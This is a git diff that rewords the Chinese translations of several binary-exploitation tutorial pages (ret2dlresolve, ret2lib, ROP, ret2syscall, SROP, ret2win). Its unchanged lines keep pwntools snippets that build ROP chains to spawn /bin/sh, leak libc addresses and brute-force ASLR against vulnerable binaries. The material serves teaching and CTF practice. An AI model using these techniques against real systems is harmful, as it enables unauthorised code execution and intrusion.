-正如在关于 [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) 和 [**Relro**](../common-binary-protections-and-bypasses/relro.md) 的页面中所解释的，缺少完整 Relro 的二进制文件在第一次使用时会解析符号（如外部库的地址）。这个解析过程是通过调用函数 **`_dl_runtime_resolve`** 来完成的。
+正如在关于 [**GOT/PLT**](../arbitrary-write-2-exec/aw2exec-got-plt.md) 和 [**Relro**](../common-binary-protections-and-bypasses/relro.md) 的页面中所解释的，缺少完整 Relro 的二进制文件在第一次使用时会解析符号（如外部库的地址）。这个解析通过调用函数 **`_dl_runtime_resolve`** 进行。
 
 **`_dl_runtime_resolve`** 函数从栈中获取一些结构的引用，以便解析指定的符号。
 
-因此，可以 **伪造所有这些结构** 以使动态链接解析请求的符号（如 **`system`** 函数），并使用配置的参数调用它（例如 **`system('/bin/sh')`**）。
+因此，可以 **伪造所有这些结构** 以使动态链接解析请求的符号（如 **`system`** 函数）并使用配置的参数调用它（例如 **`system('/bin/sh')`**）。
 
-通常，通过制作一个 **初始 ROP 链来调用 `read`** 在可写内存上伪造所有这些结构，然后将 **结构** 和字符串 **`'/bin/sh'`** 传递，以便它们被 `read` 存储在已知位置，然后 ROP 链继续通过调用 **`_dl_runtime_resolve`**，并传递 `$'/bin/sh'` 的地址。
+通常，通过制作一个 **初始 ROP 链来调用 `read`** 在可写内存上伪造所有这些结构，然后将 **结构** 和字符串 **`'/bin/sh'`** 传递，以便它们被 `read` 存储在已知位置，然后 ROP 链继续通过调用 **`_dl_runtime_resolve`**，地址为 `$'/bin/sh'`。
 
 > [!TIP]
-> 如果没有 syscall gadgets（以使用诸如 [**ret2syscall**](rop-syscall-execv.md) 或 [SROP](srop-sigreturn-oriented-programming.md) 的技术），并且没有方法泄漏 libc 地址，这种技术特别有用。
+> 如果没有 syscall gadgets（使用诸如 [**ret2syscall**](rop-syscall-execv.md) 或 [SROP](srop-sigreturn-oriented-programming.md) 的技术），并且没有方法泄漏 libc 地址，这种技术特别有用。
 
 您可以在视频的后半部分找到关于此技术的更好解释：
 
@@ -21,13 +21,13 @@
 
 ## 结构
 
-需要伪造 3 个结构：**`JMPREL`**、**`STRTAB`** 和 **`SYMTAB`**。您可以在 [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) 找到关于这些结构如何构建的更好解释。
+需要伪造 3 个结构：**`JMPREL`**、**`STRTAB`** 和 **`SYMTAB`**。您可以在 [https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures](https://ir0nstone.gitbook.io/notes/types/stack/ret2dlresolve#structures) 中找到关于这些结构如何构建的更好解释。
 
 ## 攻击总结
 
 1. 在某个地方写入伪造的结构
 2. 设置 system 的第一个参数 (`$rdi = &'/bin/sh'`)
-3. 在栈上设置结构的地址以调用 **`_dl_runtime_resolve`**
+3. 在栈上设置调用 **`_dl_runtime_resolve`** 的结构地址
 4. **调用** `_dl_runtime_resolve`
 5. **`system`** 将被解析并以 `'/bin/sh'` 作为参数调用
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md
index 82e24081b..b13e82a27 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2esp-ret2reg.md
@@ -4,7 +4,7 @@
 
 ## **Ret2esp**
 
-**因为 ESP（栈指针）始终指向栈的顶部**，该技术涉及用 **`jmp esp`** 或 **`call esp`** 指令的地址替换 EIP（指令指针）。通过这样做，shellcode 被放置在被覆盖的 EIP 之后。当 `ret` 指令执行时，ESP 指向下一个地址，正好是存储 shellcode 的地方。
+**因为 ESP（栈指针）始终指向栈的顶部**，这个技术涉及用 **`jmp esp`** 或 **`call esp`** 指令的地址替换 EIP（指令指针）。通过这样做，shellcode 被放置在被覆盖的 EIP 之后。当 `ret` 指令执行时，ESP 指向下一个地址，正好是存储 shellcode 的地方。
 
 如果 **地址空间布局随机化（ASLR）** 在 Windows 或 Linux 中未启用，可以使用在共享库中找到的 `jmp esp` 或 `call esp` 指令。然而，当 [**ASLR**](../common-binary-protections-and-bypasses/aslr/) 激活时，可能需要在易受攻击的程序内部查找这些指令（并且可能需要击败 [**PIE**](../common-binary-protections-and-bypasses/pie/)）。
 
@@ -12,12 +12,12 @@
 
 ### 缺少空间
 
-如果在覆盖 RIP 之后缺少写入空间（可能只有几个字节），可以写一个初始的 `jmp` shellcode，如：
+如果在覆盖 RIP 后缺少写入空间（可能只有几个字节），可以写一个初始的 `jmp` shellcode，如：
 ```armasm
 sub rsp, 0x30
 jmp rsp
 ```
-在栈中早期写入 shellcode。
+并在栈中早期写入shellcode。
 
 ### 示例
 
@@ -43,7 +43,7 @@ p.interactive()
 ```
 ## Ret2reg
 
-类似地，如果我们知道一个函数返回存储 shellcode 的地址，我们可以利用 **`call eax`** 或 **`jmp eax`** 指令（称为 **ret2eax** 技术），提供另一种执行我们的 shellcode 的方法。就像 eax 一样，**任何其他寄存器** 中包含有趣地址的寄存器都可以被使用（**ret2reg**）。
+类似地，如果我们知道一个函数返回存储 shellcode 的地址，我们可以利用 **`call eax`** 或 **`jmp eax`** 指令（称为 **ret2eax** 技术），提供另一种执行我们的 shellcode 的方法。就像 eax 一样，**任何其他寄存器** 中包含有趣地址的寄存器都可以使用（**ret2reg**）。
 
 ### 示例
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md
index 2e330007b..bc2b74d2e 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/README.md
@@ -17,7 +17,7 @@
 ```bash
 ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
 ```
-如果您想检查 ASLR 是否在更改 libc 的地址，您可以执行：
+如果你想检查 ASLR 是否在改变 libc 的地址，你可以执行：
 ```bash
 for i in `seq 0 20`; do ldd ./<bin> | grep libc; done
 ```
@@ -39,9 +39,9 @@ find "/bin/sh"
 ```
 ### 使用 /proc/\<PID>/maps
 
-如果该进程在每次与其交互时都在创建**子进程**（网络服务器），请尝试**读取**该文件（可能需要以root身份运行）。
+如果该进程每次与您交互时都会创建**子进程**（网络服务器），请尝试**读取**该文件（您可能需要以root身份运行）。
 
-在这里你可以找到**libc加载的确切位置**以及**每个子进程将要加载的位置**。
+在这里，您可以找到**libc在进程中加载的确切位置**以及**每个子进程将要加载的位置**。
 
 ![](<../../../../images/image (95).png>)
 
@@ -49,13 +49,13 @@ find "/bin/sh"
 
 ## 未知的libc
 
-可能你**不知道二进制文件加载的libc**（因为它可能位于你无法访问的服务器上）。在这种情况下，你可以利用漏洞**泄露一些地址并找出使用的libc**库：
+您可能不知道二进制文件加载的**libc**（因为它可能位于您无法访问的服务器上）。在这种情况下，您可以利用该漏洞**泄露一些地址并找出使用的libc**库：
 
 {{#ref}}
 rop-leaking-libc-address/
 {{#endref}}
 
-你可以在这里找到一个pwntools模板：
+您可以在以下位置找到相应的pwntools模板：
 
 {{#ref}}
 rop-leaking-libc-address/rop-leaking-libc-template.md
@@ -65,11 +65,11 @@ rop-leaking-libc-address/rop-leaking-libc-template.md
 
 这些暴力攻击**仅对32位系统有用**。
 
-- 如果利用是本地的，你可以尝试暴力破解libc的基地址（对32位系统有用）：
+- 如果利用是本地的，您可以尝试暴力破解libc的基地址（对32位系统有用）：
 ```python
 for off in range(0xb7000000, 0xb8000000, 0x1000):
 ```
-- 如果攻击远程服务器，您可以尝试**暴力破解 `libc` 函数 `usleep` 的地址**，传递参数 10（例如）。如果在某个时刻**服务器响应多了 10 秒**，您就找到了这个函数的地址。
+- 如果攻击远程服务器，您可以尝试 **暴力破解 `libc` 函数 `usleep` 的地址**，传递参数 10（例如）。如果在某个时刻 **服务器响应多了 10 秒**，您就找到了这个函数的地址。
 
 ## One Gadget
 
@@ -79,7 +79,7 @@ for off in range(0xb7000000, 0xb8000000, 0x1000):
 
 ## x86 Ret2lib 代码示例
 
-在这个示例中，ASLR 暴力破解集成在代码中，易受攻击的二进制文件位于远程服务器上：
+在这个示例中，ASLR 暴力破解被集成到代码中，易受攻击的二进制文件位于远程服务器上：
 ```python
 from pwn import *
 
@@ -97,7 +97,7 @@ c.interactive()
 ```
 ## x64 Ret2lib 代码示例
 
-查看以下示例：
+查看示例来自于：
 
 {{#ref}}
 ../rop-return-oriented-programing.md
@@ -105,7 +105,7 @@ c.interactive()
 
 ## Ret-into-printf (或 puts)
 
-这允许通过调用 `printf`/`puts` 并将一些特定数据作为参数传递来**泄露进程信息**。
+这允许通过调用 `printf`/`puts` 并将一些特定数据作为参数来**泄露进程信息**。
 
 ## Ret2printf
 
@@ -115,7 +115,7 @@ c.interactive()
 ../../format-strings/
 {{#endref}}
 
-## 其他示例和参考
+## 其他示例与参考
 
 - [https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/csaw19_babyboi/index.html)
 - Ret2lib，给出 libc 中一个函数的地址泄露，使用一个 gadget
@@ -124,6 +124,6 @@ c.interactive()
 - [https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html)
 - 64 位，启用 ASLR，没有 canary，主函数中的堆栈溢出来自子函数。ROP gadget 调用 puts 以泄露 GOT 中 puts 的地址，然后调用一个 gadget。
 - [https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html](https://guyinatuxedo.github.io/08-bof_dynamic/hs19_storytime/index.html)
-- 64 位，没有 pie，没有 canary，没有 relro，nx。使用 write 函数泄露 write（libc）的地址并调用一个 gadget。
+- 64 位，没有 pie，没有 canary，没有 relro，nx。使用 write 函数泄露 write (libc) 的地址并调用一个 gadget。
 
 {{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md
index 868084387..ebf776e9c 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/README.md
@@ -2,9 +2,9 @@
 
 {{#include ../../../../../banners/hacktricks-training.md}}
 
-## 快速总结
+## 快速概述
 
-1. **找到** 溢出 **偏移**
+1. **找到** 溢出 **偏移量**
 2. **找到** `POP_RDI` gadget, `PUTS_PLT` 和 `MAIN`
 3. 使用之前的 gadgets **泄露 puts 或其他 libc 函数的内存地址** 并 **找到 libc 版本** ([donwload it](https://libc.blukat.me))
 4. 使用库，**计算 ROP 并进行利用**
@@ -34,8 +34,8 @@ gcc -o vuln vuln.c -fno-stack-protector -no-pie
 ```
 ## ROP - 泄露 LIBC 模板
 
-我将使用这里的代码来制作漏洞利用程序。\
-下载漏洞利用程序并将其放在与易受攻击的二进制文件相同的目录中，并向脚本提供所需的数据：
+我将使用位于此处的代码来制作漏洞利用。\
+下载漏洞利用并将其放置在与易受攻击的二进制文件相同的目录中，并向脚本提供所需的数据：
 
 {{#ref}}
 rop-leaking-libc-template.md
@@ -72,7 +72,7 @@ cyclic_find(0x6161616b)
 
 ## 2- 查找小工具
 
-现在我们需要在二进制文件中查找 ROP 小工具。这些 ROP 小工具将用于调用 `puts` 以查找正在使用的 **libc**，并随后 **启动最终利用**。
+现在我们需要在二进制文件中查找 ROP 小工具。这些 ROP 小工具将用于调用 `puts` 以找到正在使用的 **libc**，并随后 **启动最终利用**。
 ```python
 PUTS_PLT = elf.plt['puts'] #PUTS_PLT = elf.symbols["puts"] # This is also valid to call puts
 MAIN_PLT = elf.symbols['main']
@@ -91,7 +91,7 @@ log.info("pop rdi; ret  gadget: " + hex(POP_RDI))
 
 ## 3- 查找 libc 库
 
-现在是时候找出正在使用哪个版本的 **libc** 库了。为此，我们将 **leak** **function** `puts` 在内存中的 **address**，然后我们将 **search** 该地址中 puts 版本所在的 **library version**。
+现在是时候找出正在使用的 **libc** 库的版本了。为此，我们将 **leak** **function** `puts` 在内存中的 **address**，然后我们将 **search** 该地址中 puts 版本所在的 **library version**。
 ```python
 def get_addr(func_name):
 FUNC_GOT = elf.got[func_name]
@@ -129,7 +129,7 @@ rop1 = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN_PLT)
 之后，将调用`PUTS_PLT`（**RDI**中包含`PUTS_GOT`），因此puts将**读取**`PUTS_GOT`中的内容（**puts函数在内存中的地址**）并**打印出来**。\
 最后，**再次调用主函数**，以便我们可以再次利用溢出。
 
-通过这种方式，我们已经**欺骗了puts函数**，使其**打印**出**内存**中**puts**函数的**地址**（该函数位于**libc**库中）。现在我们有了这个地址，我们可以**搜索正在使用的libc版本**。
+通过这种方式，我们已经**欺骗了puts函数**，使其**打印**出**内存**中**puts**函数的**地址**（它在**libc**库中）。现在我们有了这个地址，我们可以**搜索正在使用的libc版本**。
 
 ![](<../../../../../images/image (141).png>)
 
@@ -186,9 +186,9 @@ gets
 
 在这一点上，我们应该知道使用的 libc 库。由于我们正在利用一个本地二进制文件，我将使用：`/lib/x86_64-linux-gnu/libc.so.6`
 
-因此，在 `template.py` 的开头将 **libc** 变量更改为： `libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #设置库路径当知道它时`
+因此，在 `template.py` 的开头将 **libc** 变量更改为：`libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") #设置库路径当知道它时`
 
-给 **libc 库** 提供 **路径** 后，**其余的利用将会自动计算**。
+给 **libc 库** 提供 **路径** 后，**利用** 的其余部分将会被自动计算。
 
 在 `get_addr` 函数内部，**libc 的基地址** 将被计算：
 ```python
@@ -199,7 +199,7 @@ log.info("libc base @ %s" % hex(libc.address))
 > [!NOTE]
 > 请注意，**最终的 libc 基地址必须以 00 结尾**。如果不是这种情况，您可能泄露了不正确的库。
 
-然后，函数 `system` 的地址和字符串 _"/bin/sh"_ 的 **地址**将从 **libc** 的 **基地址** 计算得出，并给出 **libc 库。**
+然后，函数 `system` 的地址和字符串 _"/bin/sh"_ 的 **地址**将从 **libc** 的 **基地址** 计算得出，并给定 **libc 库。**
 ```python
 BINSH = next(libc.search("/bin/sh")) - 64 #Verify with find /bin/sh
 SYSTEM = libc.sym["system"]
@@ -228,7 +228,7 @@ p.interactive() #Interact with the conenction
 
 ## 4(2)- 使用 ONE_GADGET
 
-你也可以使用 [**ONE_GADGET** ](https://github.com/david942j/one_gadget) 来获取一个 shell，而不是使用 **system** 和 **"/bin/sh"**。**ONE_GADGET** 将在 libc 库中找到一些方法，只需使用一个 **ROP 地址** 即可获得一个 shell。\
+你也可以使用 [**ONE_GADGET** ](https://github.com/david942j/one_gadget) 来获取一个 shell，而不是使用 **system** 和 **"/bin/sh"**。**ONE_GADGET** 将在 libc 库中找到一些方法，只需一个 **ROP 地址** 即可获得 shell。\
 然而，通常会有一些限制，最常见且容易避免的限制是 `[rsp+0x30] == NULL`。由于你控制 **RSP** 中的值，你只需发送更多的 NULL 值，以避免这个限制。
 
 ![](<../../../../../images/image (615).png>)
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
index a71c851bf..36abf2a17 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2lib/rop-leaking-libc-address/rop-leaking-libc-template.md
@@ -186,7 +186,7 @@ P.interactive() #Interact with your shell :)
 
 ## MAIN_PLT = elf.symbols\['main'] 未找到
 
-如果 "main" 符号不存在（可能是因为它是一个剥离的二进制文件）。那么你可以直接查看主代码在哪里：
+如果 "main" 符号不存在（可能是因为它是一个剥离的二进制文件）。那么你可以直接找到主代码的位置：
 ```python
 objdump -d vuln_binary | grep "\.text"
 Disassembly of section .text:
@@ -204,7 +204,7 @@ MAIN_PLT = 0x401080
 
 如果在创建**所有**漏洞利用后发现此**错误**：`sh: 1: %s%s%s%s%s%s%s%s: 未找到`
 
-尝试**将“/bin/sh”的地址减去64字节**：
+尝试**从“/bin/sh”的地址中减去64字节**：
 ```python
 BINSH = next(libc.search("/bin/sh")) - 64
 ```
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md
index 3d5c259e4..7ea3e548f 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/ret2win.md
@@ -59,18 +59,18 @@ payload = b'A' * 68 + win_addr
 p.sendline(payload)
 p.interactive()
 ```
-要找到 `win` 函数的地址，您可以使用 **gdb**、**objdump** 或任何其他允许您检查二进制文件的工具。例如，使用 `objdump`，您可以使用：
+要找到 `win` 函数的地址，可以使用 **gdb**、**objdump** 或任何其他允许您检查二进制文件的工具。例如，使用 `objdump`，您可以使用：
 ```sh
 objdump -d vulnerable | grep win
 ```
 该命令将显示 `win` 函数的汇编代码，包括其起始地址。&#x20;
 
-Python 脚本发送一个精心制作的消息，当 `vulnerable_function` 处理时，会溢出缓冲区并用 `win` 的地址覆盖栈上的返回地址。当 `vulnerable_function` 返回时，它不会返回到 `main` 或退出，而是跳转到 `win`，并打印消息。
+Python 脚本发送一个精心构造的消息，当 `vulnerable_function` 处理时，会溢出缓冲区并用 `win` 的地址覆盖栈上的返回地址。当 `vulnerable_function` 返回时，它不会返回到 `main` 或退出，而是跳转到 `win`，并打印消息。
 
 ## 保护措施
 
-- [**PIE**](../common-binary-protections-and-bypasses/pie/) **应该禁用**，以确保地址在执行之间是可靠的，否则函数存储的地址可能并不总是相同，您需要一些泄漏信息来确定 `win` 函数加载的位置。在某些情况下，当导致溢出的函数是 `read` 或类似函数时，您可以进行 **部分覆盖** 1 或 2 个字节，以将返回地址更改为 `win` 函数。由于 ASLR 的工作原理，最后三个十六进制半字节不会随机化，因此有 **1/16 的机会**（1 个半字节）获得正确的返回地址。
-- [**栈金丝雀**](../common-binary-protections-and-bypasses/stack-canaries/) 也应该禁用，否则被破坏的 EIP 返回地址将永远不会被跟随。
+- [**PIE**](../common-binary-protections-and-bypasses/pie/) **应禁用**，以确保地址在执行之间是可靠的，否则函数存储的地址将不总是相同，您需要一些泄漏信息来确定 `win` 函数加载的位置。在某些情况下，当导致溢出的函数是 `read` 或类似函数时，您可以进行 **部分覆盖** 1 或 2 个字节，以将返回地址更改为 `win` 函数。由于 ASLR 的工作方式，最后三个十六进制半字节不会随机化，因此有 **1/16 的机会**（1 个半字节）获得正确的返回地址。
+- [**栈金丝雀**](../common-binary-protections-and-bypasses/stack-canaries/) 也应禁用，否则被破坏的 EIP 返回地址将永远不会被跟随。
 
 ## 其他示例与参考
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md
index be269311a..ae6ea870d 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-return-oriented-programing.md
@@ -4,13 +4,13 @@
 
 ## **基本信息**
 
-**返回导向编程 (ROP)** 是一种高级利用技术，用于绕过安全措施，如 **不可执行 (NX)** 或 **数据执行防护 (DEP)**。攻击者不通过注入和执行 shellcode，而是利用二进制文件或已加载库中已经存在的代码片段，称为 **"gadgets"**。每个 gadget 通常以 `ret` 指令结束，并执行小的操作，例如在寄存器之间移动数据或执行算术运算。通过将这些 gadgets 链接在一起，攻击者可以构造一个有效的有效负载，以执行任意操作，从而有效绕过 NX/DEP 保护。
+**返回导向编程 (ROP)** 是一种高级利用技术，用于绕过 **不可执行 (NX)** 或 **数据执行防护 (DEP)** 等安全措施。攻击者利用二进制文件或已加载库中已经存在的代码片段，称为 **"gadgets"**，而不是注入和执行 shellcode。每个 gadget 通常以 `ret` 指令结束，并执行小的操作，例如在寄存器之间移动数据或执行算术运算。通过将这些 gadgets 链接在一起，攻击者可以构造一个有效绕过 NX/DEP 保护的有效负载，以执行任意操作。
 
 ### ROP 的工作原理
 
 1. **控制流劫持**：首先，攻击者需要劫持程序的控制流，通常通过利用缓冲区溢出来覆盖栈上的保存返回地址。
-2. **Gadget 链接**：攻击者然后仔细选择并链接 gadgets 以执行所需的操作。这可能涉及设置函数调用的参数，调用函数（例如 `system("/bin/sh")`），并处理任何必要的清理或附加操作。
-3. **有效负载执行**：当易受攻击的函数返回时，而不是返回到合法位置，它开始执行 gadgets 链。
+2. **Gadget 链接**：攻击者然后仔细选择并链接 gadgets 以执行所需的操作。这可能涉及为函数调用设置参数，调用函数（例如 `system("/bin/sh")`），并处理任何必要的清理或附加操作。
+3. **有效负载执行**：当易受攻击的函数返回时，它不会返回到合法位置，而是开始执行 gadgets 链。
 
 ### 工具
 
@@ -36,7 +36,7 @@
 
 使用 **pwntools**，我们准备栈以执行 ROP 链，目标是执行 `system('/bin/sh')`，注意链的开始：
 
-1. 一个 `ret` 指令用于对齐（可选）
+1. 为对齐目的的 `ret` 指令（可选）
 2. `system` 函数的地址（假设 ASLR 被禁用且已知 libc，更多信息见 [**Ret2lib**](ret2lib/)）
 3. `system()` 的返回地址占位符
 4. `"/bin/sh"` 字符串地址（system 函数的参数）
@@ -73,9 +73,9 @@ payload = fit({offset: rop_chain})
 p.sendline(payload)
 p.interactive()
 ```
-## ROP Chain in x64 Example
+## ROP Chain in x64 示例
 
-### **x64 (64-bit) 调用约定**
+### **x64 (64位) 调用约定**
 
 - 在类Unix系统上使用 **System V AMD64 ABI** 调用约定，其中 **前六个整数或指针参数通过寄存器 `RDI`, `RSI`, `RDX`, `RCX`, `R8` 和 `R9` 传递**。额外的参数通过栈传递。返回值放在 `RAX` 中。
 - **Windows x64** 调用约定使用 `RCX`, `RDX`, `R8` 和 `R9` 作为前四个整数或指针参数，额外的参数通过栈传递。返回值放在 `RAX` 中。
@@ -85,12 +85,12 @@ p.interactive()
 
 为了我们的目的，让我们专注于可以让我们设置 **RDI** 寄存器（将 **"/bin/sh"** 字符串作为参数传递给 **system()**）并调用 **system()** 函数的小工具。我们假设我们已经识别出以下小工具：
 
-- **pop rdi; ret**: 将栈顶值弹出到 **RDI** 中，然后返回。对于设置 **system()** 的参数至关重要。
-- **ret**: 一个简单的返回，在某些场景中对栈对齐有用。
+- **pop rdi; ret**：将栈顶值弹出到 **RDI** 中，然后返回。对于设置 **system()** 的参数至关重要。
+- **ret**：一个简单的返回，在某些场景中对栈对齐有用。
 
 我们知道 **system()** 函数的地址。
 
-### **ROP Chain**
+### **ROP 链**
 
 下面是一个使用 **pwntools** 设置和执行 ROP 链的示例，旨在执行 **system('/bin/sh')** 在 **x64** 上：
 ```python
@@ -140,7 +140,7 @@ p.interactive()
 ## x86 与 x64 的主要区别
 
 > [!TIP]
-> 由于 x64 使用寄存器处理前几个参数，因此在简单函数调用中通常需要的 gadget 比 x86 少，但由于寄存器数量增加和地址空间更大，找到和链接正确的 gadget 可能更复杂。**x64** 架构中寄存器数量的增加和地址空间的扩大为漏洞开发提供了机遇和挑战，特别是在返回导向编程（ROP）的背景下。
+> 由于 x64 使用寄存器处理前几个参数，因此在简单函数调用中通常需要的 gadget 比 x86 少，但由于寄存器数量增加和地址空间更大，找到并链接正确的 gadget 可能更复杂。**x64** 架构中寄存器数量的增加和地址空间的扩大为漏洞开发提供了机遇和挑战，特别是在返回导向编程（ROP）的背景下。
 
 ## 保护措施
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md
index 297a120ed..9f6275308 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/rop-syscall-execv.md
@@ -9,11 +9,11 @@
 为了准备 **syscall** 的调用，需要以下配置：
 
 - `rax: 59 指定 sys_execve`
-- `rdi: ptr to "/bin/sh" 指定要执行的文件`
+- `rdi: 指向 "/bin/sh" 的指针，指定要执行的文件`
 - `rsi: 0 指定不传递参数`
 - `rdx: 0 指定不传递环境变量`
 
-所以，基本上需要将字符串 `/bin/sh` 写入某个地方，然后执行 `syscall`（注意控制栈所需的填充）。为此，我们需要一个 gadget 来在已知区域写入 `/bin/sh`。
+所以，基本上需要将字符串 `/bin/sh` 写入某个地方，然后执行 `syscall`（注意控制栈所需的填充）。为此，我们需要一个 gadget 来将 `/bin/sh` 写入已知区域。
 
 > [!TIP]
 > 另一个有趣的 syscall 是 **`mprotect`**，这将允许攻击者 **修改内存中页面的权限**。这可以与 [ret2shellcode](stack-shellcode.md) 结合使用。
@@ -94,17 +94,17 @@ rop += popRax
 rop += p64(0x6b6000) # Writable memory
 rop += writeGadget #Address to: mov qword ptr [rax], rdx
 ```
-## 缺少小工具
+## 缺少 Gadget
 
-如果你**缺少小工具**，例如在内存中写入`/bin/sh`，你可以使用**SROP技术来控制所有寄存器值**（包括RIP和参数寄存器）从栈中：
+如果你**缺少 gadgets**，例如在内存中写入`/bin/sh`，你可以使用**SROP 技术来控制所有寄存器值**（包括 RIP 和参数寄存器）从栈中：
 
 {{#ref}}
 srop-sigreturn-oriented-programming.md
 {{#endref}}
 
-在vDSO区域可能会有小工具，该区域用于从用户模式切换到内核模式。在这些类型的挑战中，通常会提供一个内核映像来转储vDSO区域。
+在 vDSO 区域可能有 gadgets，该区域用于从用户模式切换到内核模式。在这些类型的挑战中，通常会提供一个内核映像以转储 vDSO 区域。
 
-## 漏洞利用示例
+## 利用示例
 ```python
 from pwn import *
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md
index 5f399d492..844464838 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/srop-sigreturn-oriented-programming.md
@@ -6,12 +6,12 @@
 
 **`Sigreturn`** 是一个特殊的 **syscall**，主要用于在信号处理程序完成其执行后进行清理。信号是操作系统发送给程序的中断，通常用于指示发生了一些异常情况。当程序接收到信号时，它会暂时暂停当前工作，以通过 **信号处理程序** 处理信号，这是一种专门设计用于处理信号的函数。
 
-在信号处理程序完成后，程序需要 **恢复其先前的状态**，就像什么都没有发生一样。这就是 **`sigreturn`** 发挥作用的地方。它帮助程序 **从信号处理程序返回**，并通过清理信号处理程序使用的堆栈帧（存储函数调用和局部变量的内存区域）来恢复程序的状态。
+在信号处理程序完成后，程序需要 **恢复其先前的状态**，就像什么都没有发生一样。这就是 **`sigreturn`** 发挥作用的地方。它帮助程序 **从信号处理程序返回**，并通过清理信号处理程序使用的栈帧（存储函数调用和局部变量的内存区域）来恢复程序的状态。
 
-有趣的是 **`sigreturn`** 是如何恢复程序状态的：它通过将 **所有 CPU 的寄存器值存储在堆栈上** 来实现。当信号不再被阻塞时，**`sigreturn` 从堆栈中弹出这些值**，有效地将 CPU 的寄存器重置为处理信号之前的状态。这包括指向当前堆栈顶部的堆栈指针寄存器（RSP）。
+有趣的是 **`sigreturn`** 是如何恢复程序状态的：它通过将 **所有 CPU 的寄存器值存储在栈上** 来实现。当信号不再被阻塞时，**`sigreturn` 从栈中弹出这些值**，有效地将 CPU 的寄存器重置为处理信号之前的状态。这包括指向当前栈顶的栈指针寄存器（RSP）。
 
 > [!CAUTION]
-> 从 ROP 链中调用 syscall **`sigreturn`** 并 **添加我们希望它在 **堆栈** 中加载的寄存器值，可以 **控制** 所有寄存器值，因此 **调用** 例如 syscall `execve` 和 `/bin/sh`。
+> 从 ROP 链中调用 syscall **`sigreturn`** 并 **添加我们希望加载到 **栈** 中的寄存器值，可以 **控制** 所有寄存器值，因此 **调用** 例如 syscall `execve` 和 `/bin/sh`。
 
 注意这将是一种 **Ret2syscall** 类型，使得控制参数以调用其他 Ret2syscalls 变得更加容易：
 
diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
index c4e126a74..da0d8ce77 100644
--- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
+++ b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
@@ -6,54 +6,54 @@
 
